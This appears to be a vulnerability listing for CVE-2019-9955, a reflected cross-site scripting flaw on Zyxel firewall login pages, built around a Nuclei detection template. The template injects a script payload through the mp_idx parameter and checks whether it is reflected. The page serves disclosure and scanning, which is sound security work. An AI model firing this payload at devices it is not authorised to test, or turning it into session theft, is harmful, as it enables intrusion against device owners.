CVE-2019-9955: Zyxel - Cross-Site Scripting

2025-08-01 Zyxel PoC Public

Description

Zyxel ATP200, ATP500, ATP800, USG20-VPN, USG20W-VPN, USG40, USG40W, USG60, USG60W, USG110, USG210, USG310, USG1100, USG1900, USG2200-VPN, ZyWALL 110, ZyWALL 310, and ZyWALL 1100 devices contain a reflected cross-site scripting vulnerability on the security firewall login page via the mp_idx parameter.

PoC

id: CVE-2019-9955

info:
  name: Zyxel - Cross-Site Scripting
  author: pdteam
  severity: medium
  description: Zyxel ATP200, ATP500, ATP800, USG20-VPN, USG20W-VPN, USG40, USG40W, USG60, USG60W, USG110, USG210, USG310, USG1100, USG1900, USG2200-VPN, ZyWALL 110, ZyWALL 310, and ZyWALL 1100 devices contain a reflected cross-site scripting vulnerability on the security firewall login page via the mp_idx parameter.
  impact: |
    Attackers can execute scripts in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
  remediation: |
    Apply the latest firmware updates provided by Zyxel to fix the reflected cross-site scripting vulnerability.
  reference:
    - http://packetstormsecurity.com/files/152525/Zyxel-ZyWall-Cross-Site-Scripting.html
    - https://www.exploit-db.com/exploits/46706/
    - https://www.securitymetrics.com/blog/Zyxel-Devices-Vulnerable-Cross-Site-Scripting-Login-page
    - https://www.zyxel.com/support/reflected-cross-site-scripting-vulnerability-of-firewalls.shtml
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9955
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-9955
    cwe-id: CWE-79
    epss-score: 0.2118
    epss-percentile: 0.9746
    cpe: cpe:2.3:o:zyxel:atp200_firmware:4.31:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zyxel
    product: atp200_firmware
  tags: cve,cve2019,zyxel,packetstorm,seclists,edb,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?mp_idx=%22;alert(%271%27);//"

    matchers:
      - type: word
        part: body
        words:
          - "\";alert('1');//"
          - "<title>Welcome</title>"
        condition: and
# digest: 4a0a004730450220159908547ed1a9dcf625323bb7d81c82a49daffb2a3036b1c9e0cd9dff05669a022100eb23278518a9fe347c3fa418ee2465971cf5ac4155a5e6bb5c0593ad4e7c0e4b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9955.yaml

References

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